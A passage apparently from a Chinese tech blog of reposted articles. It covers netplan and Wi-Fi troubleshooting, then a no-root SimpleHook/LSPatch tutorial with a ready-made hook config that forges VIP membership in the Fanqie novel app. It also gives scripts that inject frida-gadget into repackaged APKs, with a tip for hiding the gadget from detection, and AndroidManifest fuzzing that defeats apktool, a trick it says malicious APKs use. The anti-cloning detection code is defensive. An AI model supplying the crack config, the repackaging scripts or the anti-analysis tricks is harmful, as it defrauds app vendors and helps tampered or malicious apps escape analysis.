Warning: The unit file, source configuration file or drop-ins of netplan.service changed on disk. Run 'systemctl daemon-reload' to reload units.

所以按照提示执行:

1
2
systemctl daemon-reload
systemctl restart netplan

启动之后再次检查 systemctl status netplan 则可以看到状态:

1
2
3
4
5
6
7
8
9
10
11
12
● netplan.service - LSB: Netplan calendar service.
Loaded: loaded (/etc/init.d/netplan; generated)
Active: active (running) since Tue 2020-10-13 23:07:44 CST; 1min 8s ago
Docs: man:systemd-sysv-generator(8)
Process: 8386 ExecStop=/etc/init.d/netplan stop (code=exited, status=0/SUCCESS)
Process: 8430 ExecStart=/etc/init.d/netplan start (code=exited, status=0/SUCCESS)
Tasks: 1 (limit: 4174)
CGroup: /system.slice/netplan.service
└─8464 /usr/sbin/netplan

10月 13 23:07:43 jetson systemd[1]: Starting LSB: Netplan calendar service....
10月 13 23:07:44 jetson systemd[1]: Started LSB: Netplan calendar service..
  • 但是比较奇怪,我执行 netplan -d generate 始终不生成配置文件,仅提示:

    1
    2
    3
    4
    5
    6
    7
    netplan: netplan version 2.2 starting at Tue Oct 13 23:25:29 2020
    netplan: database directory is /var/lib/plan/netplan.dir
    netplan: user "netplan" is uid 63434 gid 63434
    netplan: switching from user <root> to <uid 63434 gid 63434>
    netplan: running with uid=63434 gid=63434 euid=63434 egid=63434
    netplan: reading access list file /var/lib/plan/netplan.dir/.netplan-acl
    netplan: netplan/tcp not found in /etc/services, using ports 2983 and 5444

根据 netplan-generate - generate backend configuration from netplan YAML files 说明:

  • netplan generate 是根据 netplan 的 yaml配置来调用networkd后端或者NetworkManager后端来生成对应后端服务的配置文件
  • 通常不需要独立运行 netplan generate ,只需要运行 netplan apply 就可以,因为 netplan apply 会自动调用 netplan generate ,而 netplan generate 只是为了验证配置生成
  • netplan 会一次从以下3个位置读取配置文件,并且按照优先级,仅有一个位置的配置文件生效:
    • /run/netplan 优先级最高
    • /etc/netplan 次优先级
    • /lib/netplan 最低优先级

参考 netplan - Troubleshooting networking issues 当出现配置不能生成,需要将后端服务器启动成debug模式。例如,我使用 systemd-netowrkd 则需要启用 DebuggingSystemd

1
2
sudo systemctl stop systemd-networkd
SYSTEMD_LOG_LEVEL=debug /lib/systemd/systemd-networkd

但是我发现我执行 netplan generatenetplan apply 都没有任何影响,似乎就没有连接上。

虽然手工可以创建一个 /run/systemd/network/10-netplan-eth0.network 填写内容:

1
2
3
4
5
6
7
[Match]
Name=eth0

[Network]
LinkLocalAddressing=ipv6
Address=192.168.6.10/24
DNS=202.96.209.133

配置创建后,执行 networkctl 就可以看到该eth0网卡是 configured ,似乎状态正常了。但是重启主机则网卡又是 unmanaged 并且 /run/systemd/network 目录又空了。

发现一个蹊跷,执行 netplan -d -v generate 显示输出:

1
2
3
netplan: netplan version 2.2 starting at Wed Oct 14 09:46:03 2020
netplan: database directory is /var/lib/plan/netplan.dir
...

为何显示数据库目录是 /var/lib/plan/netplan.dir ?

我这个版本的netplan默认去读取了空白的 /var/lib/plan/netplan.dir ,这个和官方文档不同。我尝试移除这个目录:

1
2
cd /var/lib
mv plan plan.bak

再次启动 netplan -d -v generate 显示:

1
2
3
4
5
6
netplan: netplan version 2.2 starting at Wed Oct 14 09:49:16 2020
netplan: database directory is /var/lib/plan/netplan.dir
netplan: user "netplan" is uid 63434 gid 63434
netplan: switching from user <root> to <uid 63434 gid 63434>
netplan: running with uid=63434 gid=63434 euid=63434 egid=63434
netplan: no read/write access to /var/lib/plan/netplan.dir/.: No such file or directory

这个版本的netplan可能是早期版本( 实践是在 Ubuntu 18 上,安装了 netplan 而没有安装更完整的 netplan.io 根据网友impl1874提供信息( use netplan.io please #10 ),需要通过完整安装 netplan.io 来修复这个问题。

我在上文中补充说明,建议直接安装 netplan.io ),只能固定读取 /var/lib/plan/netplan.dir/ ,不使用 /etc/netplan 目录,导致我配置无效。我还发现在 /var/lib/plan/netplan.dir/ 有一个隐含文件:

1
.netplan-acl -> /etc/plan/netplan-acl

警告

上述排查是我早期的记录,当时安装的操作系统是 Ubuntu 18 LTS,安装的 netplan 存在bug,请完整安装 netplan.io 来避免这个问题。

最新的 Ubuntu 20.04 LTS 默认即使用 netplan.io 没有这个问题。

5G Hz无线网络连接

在树莓派上配置了netplan的无线配置,配置文件 /etc/netplan/02-wifi.yaml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
network:
version: 2
renderer: networkd
wifis:
wlan0:
optional: true
dhcp4: yes
dhcp6: no
access-points:
"SSID-HOME":
password: "home-passwd"
"SSID-OFFICE":
auth:
key-management: eap
identity: "office.id"
password: "office-passwd"

但是发现无线始终无法连接, ip addr 显示:

1
2
3: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 1000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
  • 使用 iwconfig 检查:

    1
    2
    3
    4
    5
    wlan0     IEEE 802.11  ESSID:off/any
    Mode:Managed Access Point: Not-Associated Tx-Power=31 dBm
    Retry short limit:7 RTS thr:off Fragment thr:off
    Encryption key:off
    Power Management:on
  • 使用 networkctl list 检查发现:

    1
    2
    3
    4
    5
    6
    IDX LINK  TYPE     OPERATIONAL SETUP
    1 lo loopback carrier unmanaged
    2 eth0 ether routable configured
    3 wlan0 wlan no-carrier configuring

    3 links listed.
  • 检查无线网络连接服务配置状态:

    1
    systemctl status netplan-wpa-wlan0.service

显示连接了一个明显错误的 bssid=00:00:00:00:00:00 的无线AP,导致认证错误:

1
2
3
4
5
6
7
8
9
10
11
12
● netplan-wpa-wlan0.service - WPA supplicant for netplan wlan0
Loaded: loaded (/run/systemd/system/netplan-wpa-wlan0.service; enabled-runtime; vendor preset: enabled)
Active: active (running) since Thu 2020-11-05 16:17:34 CST; 2min 7s ago
Main PID: 1932 (wpa_supplicant)
Tasks: 1 (limit: 9257)
CGroup: /system.slice/netplan-wpa-wlan0.service
└─1932 /sbin/wpa_supplicant -c /run/netplan/wpa-wlan0.conf -iwlan0

Nov 05 16:18:51 pi-worker2 wpa_supplicant[1932]: wlan0: CTRL-EVENT-ASSOC-REJECT bssid=00:00:00:00:00:00 status_code=16
Nov 05 16:10:27 pi-worker2 wpa_supplicant[1849]: wlan0: Trying to associate with SSID 'SSID-OFFICE'
Nov 05 16:10:30 pi-worker2 wpa_supplicant[1849]: wlan0: CTRL-EVENT-ASSOC-REJECT bssid=00:00:00:00:00:00 status_code=16
Nov 05 16:10:30 pi-worker2 wpa_supplicant[1849]: wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=0 ssid="SSID-OFFICE" auth_failures=1 duration=23 reason=CONN_FAILED

经过一周 排查wpa_supplicant无法连接5GHz无线问题 终于发现对于5G Hz无线网络连接,必须在 wpa_supplicant.conf 中指定 Country Code

不过,netplan的配置中当前不支持配置 country= ,所以可以采用两种方法:

  • 在执行 wpa_supplicant 之前,先通过 wireless-tools 工具包中的 iw 命令设置 regdomain

    1
    iw reg set CN

然后 wpa_supplicant 就可以连接5G Hz的无线AP。

  • 为了能够持久化上述 regdomain 配置,在Ubuntu中,可以修改 /etc/default/crda 配置设置如下:

    1
    REGDOMAIN=CN

然后重启就能够正常连接5G Hz无线网络。

参考

【实用教程】记Simplehook+Lspatch+Shizuku 免root使用教程 番茄为例

【实用教程】记Simplehook+Lspatch+Shizuku 免root使用教程 番茄为例

本文转自 w1234567890 并作补充

发现论坛好多小伙伴有了simplehook配置却不知道怎么用,而且搜了一下论坛也没有免root用hook的简洁教程,今天就来以番茄为例子写一个教程,希望对大家有帮助。

注:此教程以番茄为例子,面向不方便真机root,虚拟机不会弄root,lsp的小伙伴,全程免root,可以在真机丝滑使用。 需要root的有大把教程,基本和免root大同小异,我结尾也附了一些截图就不详细说了,看不懂的搜一下。

目录


受害者

需要工具

教程开始

受害者:

需要工具:

simplehook配置 在下面

番茄(5.9.3.32)点我下载

Simplehook(normal版) 点我下载

Lspatch 点我下载

Shizuku 点我下载

教程开始:

注意,因为我看到一个番茄的hook配置,所以此教程才以番茄为例子,其他软件也可以,别较真

一.安装以上四个软件

二.Shizuku配置激活

1.下载安装

2.按官方教程配对启动(推荐用无线配对)

点我查看官方教程

3.成功后看最上面显示shizuku正在运行即可

4.点管理授权应用,勾选Lspatch

三.Lspatch配置教程

1.打开LSPatch,看到shizuku服务可用

2.点管理页点击+号,找到番茄安装包或者安装到手机直接搜索

3.然后选本地模式修补,签名选用lv2然后点击开始修补

ps:注意看提示打开番茄,需要先打开LSPatch,不然会闪退

4.如图最后一行路径(我记得刚开始有弹窗让你选修补路径)就是安装包所在,安装即可

5.重进LSPatch,再次进入管理页,就会看到番茄

6.长按番茄,然后选择模块作用域,把下载的simplehook勾选上就行了

四.Simplehook配置

1.点首页右下角加号

2.复制如下番茄(测试软件)配置(可能论坛问题,分享的代码配置有朋友说格式错误,所以用附件分享)

1
>[{"packageName":"com.dragon.read","appName":"番茄免费小说","versionName":"5.9.3.32","description":"","configs":"[{"mode":2,"className":"com.dragon.read.widget.m","methodName":"a","params":"*","enable":false},{"mode":2,"className":"com.dragon.read.reader.ad.readflow","methodName":"*","params":"*","enable":false},{"mode":1,"className":"com.dragon.read.user.model.VipInfoModel","methodName":"<init>","params":"java.lang.String,java.lang.String,java.lang.String,Z,Z,I,Z,com.dragon.read.rpc.model.VipSubType","resultValues":"1893211199s,1s,1s,true,true,,true,"}]","id":3}]

点我下载 提取码:pBVj

(注:实际上可以不管这些配置,框架自带的足够用了)

3.点导入配置

4.就会出现番茄图标

5.长按点启动即可

注:填写完simplehook配置之后,需要清除番茄数据,然后再重新打开。如果发现未生效,重复操作即可。

ps:番茄验签好像有问题,我昨天测试的时候一切正常,今天弄又提示不安全了,用虚拟机又可以了。不过没事免root教程就这样,大家可以换软件测试。

————

真机测试图(图一昨日成功图二今日失败):

虚拟机测试和配置(一切正常,会员功能可用):

注:此篇文章是原作者怕被查水表,所以把图片都隐去了,但是工具使用都是没问题的,确实是在应用未加固或加固能力不强时可用的

非root环境下frida持久化的两种方式及脚本

非root环境下frida持久化的两种方式及脚本

本文转自 八重嘤 并作补充

frida是一个非常好用的hook框架,但使用中有两个问题,一是非root手机使用挺麻烦的,二是frida相较于其他HOOK框架没那么持久。网上的持久化大多基于xposed、刷ROM或者是virtualapp,前面两个是比较重量级,不够轻便。虚拟化技术本身就自带风险,很容易被检测到。

在Android端,网上教程里大部分都是使用frida server来进行hook,其实还有一种使用方法为 frida gadget,此方法需要将frida-gadget.so注入到apk中,纯手动的话过于麻烦,所以这里实现两个脚本,分别用修改smali、修改so来注入目标。

我使用的frida-gadget版本为14.2.18。有其他版本的需求,需要替换tools下的so文件

方法一 调试apk中含有so

此方法相对简单。原理来自于古早的静态注入方式:Android平台感染ELF文件实现模块注入

而这种注入方式有工具可以快速实现:How to use frida on a non-rooted device

该方法优点在于可以让gadget是第一个启动的,缺点是没有so的apk不能用。

1.效果

首先运行注入脚本,获得注入且重签名后的apk。直接安装。

image

将frida_script.js push 到/data/local/tmp。frida_script.js为你的hook代码:

1
2
3
4
Java.perform(function () {
var Log = Java.use("android.util.Log");
Log.e("frida-OOOK", "Have fun!");
});//android 不要使用console.log

打开app即可看到效果,app每次启动都会成功的打印LOG:

image

不想使用持久化(本地js脚本),也可以通过电脑连接:

image

不使用持久化,就不必添加config文件,所以脚本执行不需要执行-persistence,执行下面的就可以:

1
python LIEFInjectFrida.py apkfile  outdir  libnative-lib.so  -apksign

2.代码

工具详细代码:https://github.com/nszdhd1/UtilScript/blob/main/LIEFInjectFrida.py

运行脚本记得安装lief(pip install lief)

其实关键代码就几行:

1
2
3
4
5
6
for soname in injectsolist: #遍历apk中指定SO有哪几种架构,并添加gadget.so为依赖库。
if soname.find("x86") != -1:
continue
so = lief.parse(os.getcwd()+"\\"+soname)
so.add_library("libfrida-gadget.so")
so.write(soname+"gadget.so")

方法二 apk中没有so

在实际情况下,并不是所有的apk都有so。没有so,方法一便没有用武之地了。

此方法呢,是通过修改smali,调用System.loadLibrary来加载so。该原理更简单,但是有一个弊端就是时机不够靠前,没有办法hook Activity 启动之前的代码。

手动修改太麻烦,还是写一个脚本自动化注入。

此方法优点是原理简单,缺点是脚本实现麻烦,容易写bug

1. 效果

首先运行注入脚本,获得注入且重签名后的apk。直接安装。

image

image

frida_script.js代码同上,同样也可以使用电脑连接:

image

2. 代码

工具详细代码:https://github.com/nszdhd1/UtilScript/blob/main/SmaliInjectFrida.py

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def get_launchable_activity_aapt(self): #通过aapt找到apk的启动activity
aapt_path = os.path.join(self.toolPath, 'aapt.exe')
cmd = '%s dump badging "%s" ' % (aapt_path, self.apkpath)
p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
out,err = p.communicate()
cmd_output = out.decode('utf-8').split('\r')
for line in cmd_output:
#正则,pattern.search正常,pattern.match就会有问题=-=懒得解决了
pattern = re.compile("launchable-activity: name='(\S+)'")
match = pattern.search(line)
if match:
# print match.group()[27:-1]
return match.group()[27:-1]

def injectso(self):
target_activity = self.get_launchable_activity_aapt()
for dex in self.dexList:
print(dex)
if self.dexDecompile(dex):
smali_path = os.path.join(self.decompileDir,target_activity.replace('.','\\'))+".smali"
print(smali_path)
with open(smali_path, 'r') as fp:
lines = fp.readlines()
has_clinit = False
start = 0
for i in range(len(lines)):
#start是获取smali中,可以添加代码的位置
if lines[i].find(".source") != -1:
start = i
#找到初始化代码
if lines[i].find(".method static constructor <clinit>()V") != -1:
if lines[i + 3].find(".line") != -1:
code_line = lines[i + 3][-3:]
lines.insert(i + 3, "%s%s\r" % (lines[i + 3][0:-3], str(int(code_line) - 2)))
print("%s%s" % (lines[i + 3][0:-3], str(int(code_line) - 2)))
#添加相关代码
lines.insert(i + 4, "const-string v0, \"frida-gadget\"\r")
lines.insert(i + 5, "invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V\r")
has_clinit = True
break
#如果碰上本身没有clinit函数的apk,就需要自己添加
if not has_clinit:
lines.insert(start + 1, ".method static constructor <clinit>()V\r")
lines.insert(start + 2, ".registers 1\r")
lines.insert(start + 3, ".line 10\r")
lines.insert(start + 4, "const-string v0, \"frida-gadget\"\r")
lines.insert(start + 5, "invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V\r")
lines.insert(start + 6, "return-void\r")
lines.insert(start + 7, ".end method\r")

with open(smali_path, "w") as fp:
fp.writelines(lines)
self.dexCompile(dex)

Frida 持久化检测特征

我因为方便,将frida js 放在了/data/local/tmp下,如果直接放在app的沙箱下,这就是一个稳定的hook框架了。

既然做了持久化,就要从防御者角度看看哪些方面可以检测到应用被注入了。

首先,当然是内存中会有frida-gadget.so。但这个so可以被重命名(我可以命名为常见的模块,比如libBugly.so),所以检测/proc/pid/maps下是否有frida-gadget并不准确。因为frida有一个config文件,是持久化必须存在的。所以检测libs下是否有lib*.so和lib*.config.so是一种较为可行的方法。但是,如果你不使用持久化,或者去github上找到frida的源码修改gaget.vala(ps.这一点是合理的猜想,还未验证过),就可以让防御者检测不到。

1
2
3
4
5
6
7
8
9
10
11
#gaget.vala 代码片段
if ANDROID
if (!FileUtils.test (config_path, FileTest.EXISTS)) {
var ext_index = config_path.last_index_of_char ('.');
if (ext_index != -1) {
config_path = config_path[0:ext_index] + ".config.so";#修改这里,就可以检测不到。需要保持后缀不变(例如改成symbols.so)
} else {
config_path = config_path + ".config.so";
}
}
#endif

除去端口检测这种几乎没什么用的,还有一种比较可行的是内存扫描,扫描内存中是否有LIBFRIDA_GADGET关键词,具体实现网上有教程我就不介绍了。

Android 禁止应用多开

Android 禁止应用多开

本文转自 九音 并作补充

Android多开

原理

一种是从多开App中直接加载被多开的App,如平行空间、VirtualApp等,另一种是让用户新安装一个App,但这个App本质上就是一个壳,用来加载被多开的App,其原理和前一种是一样的,市面上多开分身这款App是用的这种形式,用户每分身一个App需新安装一个包名为dkmodel.xxx.xxx的App

Android检测方案

1、检查files目录路径

App的私有目录是/data/data/包名/或/data/user/用户号/包名通过Context.getFilesDir()方法可以拿到私有目录下的files目录。

但是在多开环境下,获取到目录会变为/data/data/多开App的包名/xxxxxxxx或/data/user/用户号/多开App的包名/xxxxxxxx。

示例:

正常使用App上面的代码获取到的路径:

/data/user/0/top.darkness463.virtualcheck/files。

多开路径:

/data/user/0/dkmodel.zom.rxo/virtual/data/user/0/top.darkness463.virtualcheck/files。

2、应用列表检测

应用列表检测不是指简单的遍历应用列表判断是不是安装了多开App,我们并不阻止用户安装多开App并多开其他App,我们只是不希望用户多开我们自己的App,因此不能检测到用户安装了多开App就把他干掉。

多开App都会对context.getPackageName()进行处理,让这个方法返回原始App的包名,因此在被多开的App看来,多开App的包名和原始的那个App的包名一样,因此在多开环境下遍历应用列表时会发现包名等于原始App的包名的应用会有两个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private boolean checkPkg(Context context){
try{
if (context == null){
return false;
}
int count = 0;
String packageName = context.getPackageName();
PackageManager pm = context.getPackageManager();
List<PackageInfo> pkgs = pm.getInstalledPackages(0);
for (PackageInfo info : pkgs){
if (packageName.equals(info.packageName)){
count++;
}
}
return count > 1;
} catch (Exception ignore){}
return false;
}

缺点:

只对部分多开App有效,例如360的分身大师,不少多开App会绕过这项检测

3、Maps检测

读取/proc/self/maps,多开App会加载一些自己的so到内存空间

比如说:

360的分身大师加载了其目录下的某个so,/data/app/com.qihoo.magic-gdEsg8KRAuJy0MuY18BlqQ==/lib/arm/libbreakpad-jni-1.5.so,通过对各种多开App的包名的匹配,如果maps中有多开App的包名的东西,那么当前就是运行在多开环境下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Set<String> virtualPkgs;
private boolean check(){
BufferedReader bufr = null;
try {
bufr = new BufferedReader(new FileReader("/proc/self/maps"));
String line;
while ((line = bufr.readLine()) != null){
for (String pkg : virtualPkgs){
if (line.contains(pkg)){
return true;
}
}
}
} catch (Exception ignore){}
finally {
if (bufr != null){
try {
bufr.close();
} catch (IOException e){}
}
}
return false;
}

缺点:

目前没有发现多开App绕过该项检测,但缺点是需要收集所有多开App的包名,一旦多开App改个包名就失效了。

4、ps检测

通过执行ps命令并以自己的uid进行过滤,得到类似下面的结果:

image

多开环境下:会获取到自己的包名和多开App的包名这2个包名,通过这些包名去/data/data/下找会找到2个目录

而正常情况下只能在/data/data/下找到自己的App的目录

具体方法网址:

(https://blog.csdn.net/shdhenghao3/article/details/94409299)

https://www.sohu.com/a/242918900_659256

四种方案测试结果

image

测试方案顺序1234,测试结果X代表未能检测O成功检测多开;

virtual app测试版本是git开源版,商用版已经修复uid的问题;

image

为了避免歧义,我们接下来所说的app都是指的同一款软件,并定义普通运行的app叫做本体,运行在多开软件上的app叫克隆体。并提出以下两个概念

狭义多开

只要app是通过多开软件打开的,则认为多开,即使同一时间内只运行了一个app

广义多开:

无论app是否运行在多开软件上,只要app在运行期间,有其余的『自己』在运行,则认为多开

最终方案

第1步:扫描本地端口(扫描tcp文件并格式化端口的关键代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
>String tcp6 =CommandUtil.getSingleInstance().exec("cat /proc/net/tcp6");

>if(TextUtils.isEmpty(tcp6))return;

String[] lines =tcp6.split("n");

ArrayListportList =newArrayList<>();

for(inti =0, len = lines.length; i < len; i++) {

intlocalHost = lines[i].indexOf("0100007F:");

//127.0.0.1:的位置

if(localHost <0)continue;

StringsinglePort = lines[i].substring(localHost +9, localHost +13);

//截取端口

Integer port =Integer.parseInt(singlePort,16);

//16进制转成10进制

portList.add(port);

}

第2步:发起连接请求

接下来向每个端口都发起一个线程进行连接,并发送自定义消息,该段消息用app的包名就行了(多开软件很大程度会hook getPackageName方法,干脆就顺着多开软件做)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
try{

//发起连接,并发送消息

Socket socket=newSocket("127.0.0.1",port);

socket.setSoTimeout(2000);

OutputStreamoutputStream = socket.getOutputStream();

outputStream.write((secret+"n").getBytes("utf-8"));

outputStream.flush();

socket.shutdownOutput();

//获取输入流,这里没做处理,纯打印

InputStreaminputStream = socket.getInputStream();

BufferedReaderbufferedReader =newBufferedReader(newInputStreamReader(inputStream));

String info=null;

while((info = bufferedReader.readLine())!=null) {

Log.i(TAG,"ClientThread: "+ info);

}

bufferedReader.close();

inputStream.close();

socket.close();

}catch(ConnectException e) {

Log.i(TAG, port+"port refused");

}

主动连接的过程完成,先于自己启动的app(可能是本体or克隆体)接收到消息并进行处理。

第3步:成为接收端,等待连接

接下来就是成为接收端,监听某端口,等待可能到来的app连接(可能是本体or克隆体)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
privatevoidstartServer(String

secret){

Random random=newRandom();

ServerSocketserverSocket =null;

try{

serverSocket=newServerSocket();

serverSocket.bind(newInetSocketAddress("127.0.0.1",

random.nextInt(55534) +10000));

//开一个10000~65535之间的端口

while(true) {

Socket socket =serverSocket.accept();

ReadThreadreadThread =newReadThread(secret, socket);

//假如这个方案很多app都在用,还是每个连接都开线程处理一些

readThread.start();

//

serverSocket.close();

}

}catch(BindException e) {

startServer(secret);//may be loop forever

}catch(IOException e) {

e.printStackTrace();

}

}

开启端口时为了避免开一个已经开启的端口,主动捕获BindExecption,并迭代调用,可能会因此无限循环,如果怕死循环的话,可以加一个类似ConcurrentHashMap最坏尝试次数的计数值。不过实际测试没那么衰,随机端口范围10000~65535,最多尝试两次就好了。

每一个处理线程,做的事情就是匹配密文,对应上了就是某个克隆体or本体发送的密文,这里是接收端主动运行一个空指针异常,杀死自己。处理方式有点像《三体》的黑暗森林法则,谁先暴露谁先死。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
privateclassReadThreadextendsThread{

privateReadThread(String

secret, Socket socket){

InputStreaminputStream =null;

try{

inputStream =socket.getInputStream();

bytebuffer[] =newbyte[1024*4];

inttemp =0;

while((temp = inputStream.read(buffer)) !=-1) {

String result=newString(buffer,0, temp);

if(result.contains(secret)) {

//

System.exit(0);

//

Process.killProcess(Process.myPid());

nullPointTV.setText("");

}

}

inputStream.close();

socket.close();

}catch(IOException e) {

e.printStackTrace();

}

}

}

*因为端口通信需要Internet权限,本库不会通过网络上传任何隐私

本文方案已经集成到

github地址:

https://github.com/lamster2018/EasyProtector

fuzz AndroidManifest.xml 实现反编译对抗

fuzz AndroidManifest.xml 实现反编译对抗

本文转自 枫糖甜酒 并作补充

有的恶意APK为了防止被apktool反编译,就会在AndroidManifest.xml里面进行一些特殊处理,来干扰apktool反编译,实现安装运行APK没问题,但是apktool 反编译的时候会出现异常并退出
例如下面这个APK,在apktool 2.8.1版本下,就无法正常反编译,但是却能够adb install安装

image

这篇文章Android免杀小结中提到过可以通过修改AndroidManifest.xml二进制文件中的某一位来干扰apktool的判断,但是告诉我们如何寻找这种能够干扰反编译软件的位,所以本篇会针对单位修改AndroidManifest.xml文件对抗反编译进行讨论

环境准备

本机使用windows系统,测试机 AOSP Android 11,这里的反编译工具是Apktool,截止到今天最新版本是 v2.9.0

image

本地更新一下jar包

image

010Editor,用到这个是为了查看AndroidManifest.xml 的二进制数据格式
现在环境就OK了

AndroidManifest.xml 简介

如果不了解AndroidManifest.xml 文件结构就暴力fuzz未免太粗鲁了
AndroidManifest.xml 是 Android 应用程序的清单文件,用于描述应用程序的基本信息、声明组件和权限等内容,是安卓应用开发中非常重要的一个文件
以之前写的一个AndroidManifest.xml 文件为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="hi.beautifulz.myapplication">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />

<uses-feature android:name="android.hardware.camera" />
<uses-feature android:name="android.hardware.camera.autofocus" />
<uses-feature android:name="android.hardware.microphone" />

<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:theme="@style/AppTheme">
<activity
android:name=".MainActivity"
android:label="@string/app_name"
android:exported="true"
>
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver
android:name=".MainBroadcastReceiver"
android:label="MainBroadcastReceiver"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
<service android:name=".MyService" android:exported="true" />
</application>

</manifest>

简单介绍一下该文件:

  • 元素是必须的,它定义了整个文件的根元素,并且包含了一些必要的属性,例如 package

  • 元素用于声明应用程序所需的权限

  • 元素用于声明应用程序所需的设备功能和硬件特性

  • 元素是应用程序的核心元素,它包含了所有的组件和各种配置信息,例如主 activity、自定义 theme、icon 等等。

    • 元素用于声明应用程序中的 Activity 组件
    • 元素用于声明应用程序中的 Service 组件
    • 元素用于声明应用程序中的 Broadcast Receiver 组件
    • 元素用于声明应用程序中的 Content Provider 组件
    • …….

AndroidManifest.xml二进制文件结构

文件大纲

MindMac师傅在看雪发的图

image

当然没基础的话,直接看这个图其实没什么卵用
根据附件里面的AndroidManifest.xml文件生成二进制文件,跟着MindMac的思路使用010Editor进行分析
编码前的xml文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.test"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="19" />

<uses-permission android:name="android.permission.INTERNET" />

<application
android:allowBackup="false"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.android.test.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>

用这个xml生成APK,APK再解压之后得到AndroidManifest.xml二进制文件,丢到010editor里面,以十六进制的格式查看

image

感觉跟MindMac的内容有点不太一样,难道是因为版本的问题,加载AndroidManifest.bt Template

image

可以看到已经把AndroidManifest文件架构列出来了
MindMac把文件分为了五个结构,这里的Magic Number和File Size其实都属于header

image

header内容为

image

所以可以分为四个部分

  • Header : 包括文件魔数和文件大小
  • String Chunk : 字符串资源池
  • ResourceId Chunk : 系统资源 id 信息
  • XmlContent Chunk : 清单文件中的具体信息,其中包含了五个部分

接下来简单分析一下这几个部分

Header

image

AndroidManifest的魔数为 0x00080003

关于魔数
二进制文件的魔数(Magic Number)是一种固定值,用于标识文件类型或格式。不同的文件类型通常具有不同的魔数。

以下是一些常见的二进制文件魔数示例:

  • ELF(可执行和共享目标文件):0x7F 0x45 0x4C 0x46
  • JPEG(图片文件):0xFF 0xD8
  • PNG(可移植网络图形):0x89 0x50 0x4E 0x47 0x0D 0x0A 0x1A 0x0A
  • PDF(便携式文档格式):0x25 0x50 0x44 0x46
  • ZIP(压缩文件):0x50 0x4B 0x03 0x04
  • GIF(图形交换格式):0x47 0x49 0x46 0x38

另外为什么这里是 0x00080003 而不是 0x03000800
是因为清单文件是小端表示的

在早期的apktool会识别AndroidManifest文件,如果魔数不为0x00080003则反编译失败,该方法也用在了某些恶意APK上,比如链安的这篇文章https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail

image

其中修改魔数为 00 00 08 00 则可以实现干扰
该方法在新版本的apktool测试已失效

该文件的filesize为0x00000904即2308字节

image

Other

其他的模块就不一一赘述,如果想要自己跟着分析每一块内容可以参考

总而言之,AndroidManifest里面的每一位都有自己的作用

手动修改AndroidManifest文件

手动修改在010Editor里面修改AndroidManifest,例如这里修改为 00

image

然后压缩成zip文件,修改zip后缀为apk,就能够生效了(这个时候只是修改,并没有干扰反编译软件)

自动化fuzz

手动是不可能手动的

自动化fuzz的AndroidManifest.xml文本内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.test"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk android:targetSdkVersion="29" />

<uses-permission android:name="android.permission.INTERNET" />

<application
android:allowBackup="false"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.android.test.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>

获取apktool解析结果

之前先知上面的这篇文章 https://xz.aliyun.com/t/12893#toc-10 stringPoolSize陷阱,修改字符串个数 stringCount 字段,导致跟实际对应不上,会造成AndroidManifest.xml解析出现问题,但是这个问题 2.9.0已经修复了,我们在2.8.1上先捕捉一下这个错误

image

